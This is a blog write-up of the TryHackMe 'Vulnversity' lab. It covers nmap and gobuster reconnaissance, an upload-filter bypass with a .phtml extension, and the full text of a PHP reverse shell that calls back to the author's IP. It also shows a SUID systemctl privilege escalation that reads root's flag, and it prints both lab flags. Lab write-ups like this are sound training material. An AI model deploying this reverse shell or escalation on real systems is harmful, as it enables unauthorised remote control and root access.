[TryHackMe] Learn all about reconnaissance, web app attacks, and privilege escalation! Vulnversity Writeup

[TryHackMe] Learn all about reconnaissance, web app attacks, and privilege escalation! Vulnversity Writeup

This time, I'll try to conquer the Room "Vulnversity" in TryHackMe.
"TryHackMe-Vulnversity: https://tryhackme.com/room/vulnversity "

Please note that the explanation is spoilers.

Recommended reference books
Author: IPUSIRON
¥2,090 (As of 15:33 on 2025/07/13 | Amazon research)
\Rakuten Points Sale! /
Rakuten Market
\5% points back! /
Yahoo Shopping
Author: IPUSIRON
¥3,850 (As of 21:11 on 07/08/2025 | Amazon research)
\Rakuten Points Sale! /
Rakuten Market
\5% points back! /
Yahoo Shopping
Author: Justin Seitz, Author: Tim Arnold, Supervised by: Mantani Nobutaka, Translation: Arai Yu, Translation: Kakara Hirosei, Translation: Murakami Ryo
¥3,520 (As of 12:26 on 07/09/2025 | Amazon research)
\Rakuten Points Sale! /
Rakuten Market
\5% points back! /
Yahoo Shopping
table of contents

Deploy the machine

First, deploy the target machine.
Select "Start Machine"

If the IP is displayed as shown below, there is no problem.

Answer

Reconnaissance

First, we will use a network scan tool called nmap to collect information about the target machine.
For more information about the command, please refer to I tried using Nmap, a powerful network scanning tool!

┌──(hacklab㉿hacklab)-[~] └─$ nmap -sV 10.10.141.243 Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-19 21:13 JST Nmap scan report for 10.10.141.243 Host is up (0.24s latency). Not shown: 994 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 3128/tcp open http-proxy Squid http proxy 3.5.12 3333/tcp open http Apache httpd 2.4.18 ((Ubuntu)) Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 58.36 seconds

You can see that there are about six services running.

Answer

There are many nmap “cheatsheets” online that you can use too.

Scan the box, how many ports are open?

What version of the squid proxy is running on the machine?

How many ports will nmap scan if the flag -p-400 was used?

┌──(hacklab㉿hacklab)-[~] └─$ nmap -sV -p-400 10.10.141.243 Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-19 21:22 JST Nmap scan report for 10.10.141.243 Host is up (0.24s latency). Not shown: 397 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.39 seconds

Using the nmap flag -n what will it not resolve? (What does using nmap flag -n solve?)

What is the most likely operating system this machine is running?

┌──(hacklab㉿hacklab)-[~] └─$ sudo nmap -sV -O 10.10.141.243 1 ⨯ Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-19 21:45 JST Nmap scan report for 10.10.141.243 Host is up (0.24s latency). Not shown: 994 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 3128/tcp open http-proxy Squid http proxy 3.5.12 3333/tcp open http Apache httpd 2.4.18 ((Ubuntu)) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.92%E=4%D=4/19%OT=21%CT=1%CU=36437%PV=Y%DS=2%DC=I%G=Y%TM=643FE27 OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)OPS OS:(O1=M506ST11NW7%O2=M506ST11NW7%O3=M506NNT11NW7%O4=M506ST11NW7%O5=M506ST1 OS:1NW7%O6=M506ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN OS:(R=Y%DF=Y%T=40%W=6903%O=M506NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S) Network Distance: 2 hops Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 44.07 seconds

What port is the web server running on?

Its important to ensure you are always doing your reconnaissance thoroughly before progressing. Knowing all open services (which can all be points of
exploitation) is very important, don't forget that ports on a higher range might be open so always scan ports after 1000 (even if you leave scanning in the background) (Even if the scan was done in the background).

Locating directories using GoBuster

Scan the website to find hidden directories.

┌──(hacklab㉿hacklab)-[~] └─$ gobuster dir -u http://10.10.141.243:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ==== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) ===== [+] URL: http://10.10.141.243:3333 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.5 [+] Timeout: 10s ==== 2023/04/19 22:13:23 Starting gobuster in directory enumeration mode ==== /images (Status: 301) [Size: 322] [--> http://10.10.141.243:333/images/] /css (Status: 301) [Size: 319] [--> http://10.10.141.243:3333/css/] /js (Status: 301) [Size: 318] [--> http://10.10.141.243:3333/js/] /fonts (Status: 301) [Size: 321] [--> http://10.10.141.243:333/fonts/] /internal (Status: 301) [Size: 324] [--> http://10.10.141.243:333/internal/]

There are various directories, but "/internal/" seems suspicious.

The directory with the upload page was found.

Answer

What is the directory that has an upload form page?

Compromise the webserver

I found a page to upload the file, so I'll try using it.

Answer

What common file type, which you'd want to upload to exploit the server, is blocked? Try a couple to find out.

I wasn't really sure about this. . . After searching for a lot, it seems that .php is the answer.

I'll try using Burp Suite's intruder to find an extension that can run PHP.
Turn Intercept is on and upload.

Now select Action > Send to Intruder.

This time, I want to change the file extension, so I search for the file I uploaded and enclose the extension in "§".

Set Payload Options as [.php,.php3,.php4,.php5,.phtml].

If you do this, you will see that everything will be returned at 200, as shown below.

Here, the difference in length is only ".phtml".
Let's take a look at the contents a little.

Only .phtml has been returned to Success.
Take advantage of this to run a PHP reverse shell.

this as a reference to create a PHP reverse shell.
Don't forget to change your IP.

┌──(hacklab㉿hacklab)-[~/tryhackme/vulnversity] └─$ cat php-reverse-shell.phtml <?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '10.18.110.90'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourselves // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } ?> 

Listen on 1234 before uploading the file.

┌──(hacklab㉿hacklab)-[~/tryhackme/vulnversity] └─$ nc -lvnp 1234 listening on [any] 1234 ...

If possible, upload the PHP reverse shell from earlier.

It was a success.

PHP by visiting http://10.10.141.243:3333/internal/uploads/php-reverse-shell.phtml

Let's take a look at him listening in this state.

┌──(hacklab㉿hacklab)-[~/tryhackme/vulnversity] └─$ nc -lvnp 1234 listening on [any] 1234 ... connect to [10.18.110.90] from (UNKNOWN) [10.10.141.243] 42860 Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 10:05:06 up 1:57, 0 users, load average: 0.03, 0.01, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job controlled turn off $

You can properly run a reverse shell.
Let's see what kind of users there are.

$ cd home $ ls bill

This user's user.txt seems to have a flag, so be sure to check it.

$ cd bill $ ls user.txt $ cat user.txt 8bd7992fbe8a6ad22a63361004cfcedb

Privilege Escalation

Next, we will look for a way to escalate privileges to gain root privileges.

This time, we will be escalating privileges using SUID.
If you are unsure what your SUID is, please refer to Electronication using SUID/SGID executable

First, let's view a list of SUID executables.

$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null -rwxr-sr-x 1 root tty 27368 May 16 2018 /usr/bin/wall -rwxr-sr-x 1 root tty 14752 Mar 1 2016 /usr/bin/bsd-write -rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newuidmap -rwxr-sr-x 1 root mlocate 39520 Nov 18 2014 /usr/bin/mlocate -rwxr-sr-x 1 root shadow 62336 May 16 2017 /usr/bin/chage -rwsr-xr-x 1 root root 49584 May 16 2017 /usr/bin/chfn -rwxr-sr-x 1 root utmp 434216 Feb 7 2016 /usr/bin/screen -rwxr-sr-x 1 root ssh 358624 Jan 31 2019 /usr/bin/ssh-agent -rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newgidmap -rwxr-sr-x 1 root crontab 36080 Apr 5 2016 /usr/bin/crontab -rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo -rwsr-xr-x 1 root root 40432 May 16 2017 /usr/bin/chsh -rwxr-sr-x 1 root shadow 22768 May 16 2017 /usr/bin/expiry -rwsr-xr-x 1 root root 54256 May 16 2017 /usr/bin/passwd -rwsr-xr-x 1 root root 23376 Jan 15 2019 /usr/bin/pkexec -rwsr-xr-x 1 root root 39904 May 16 2017 /usr/bin/newgrp -rwsr-xr-x 1 root root 75304 May 16 2017 /usr/bin/gpasswd -rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at -rwsr-sr-x 1 root root 98440 Jan 29 2019 /usr/lib/snapd/snap-confine -rwsr-xr-x 1 root root 14864 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1 -rwsr-xr-x 1 root root 428240 Jan 31 2019 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 76408 Jul 17 2019 /usr/lib/squid/pinger -rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwxr-sr-x 1 root utmp 10232 Mar 11 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter -rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic -rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su -rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g -rwsr-xr-x 1 root root 40152 May 16 2018 /bin/mount -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6 -rwsr-xr-x 1 root root 27608 May 16 2018 /bin/umount -rwsr-xr-x 1 root root 659856 Feb 13 2019 /bin/systemctl -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount -rwxr-sr-x 1 root shadow 35600 Apr 9 2018 /sbin/unix_chkpwd -rwxr-sr-x 1 root shadow 35632 Apr 9 2018 /sbin/pam_extrausers_chkpwd -rwsr-xr-x 1 root root 35600 Mar 6 2017 /sbin/mount.cifs

gtfobins , it seems that privilege escalation can be made using "/bin/systemctl".

I'll edit the contents of gtfobins a little and run it.

$ TF=$(mktemp).service $ echo '[Service] ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output" [Install] WantedBy=multi-user.target' > $TF $ /bin/systemctl link $TF $ /bin/systemctl enable --now $TF Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.eTLafK2GSg.service to /tmp/tmp.eTLafK2GSg.service. $ cd /tmp $ cat output a58ff8579f0a9270368d33a9966c7fd5

If it's done correctly, there should be a flag in the output.

summary

This time I tried to conquer the Room called "Vulnversity."
I think the content is simple, but there are still many things I don't understand, and there are a few things I can't understand when I look at Writeup.
Also, it seems that you haven't yet been able to find out which vulnerability to attack.

I will continue to study. . .

References and Sites

Medium (Utkarsh Rai): https://infosecwriteups.com/tryhackme-vulnversity-70ceeb601757

Share if you like!

Who wrote this article

This is a blog I started to study information security. As a new employee, I would be happy if you could look with a broad heart.
There is also Teech Lab, which is an opportunity to study programming fun, so if you are interested in software development, be sure to take a look!

table of contents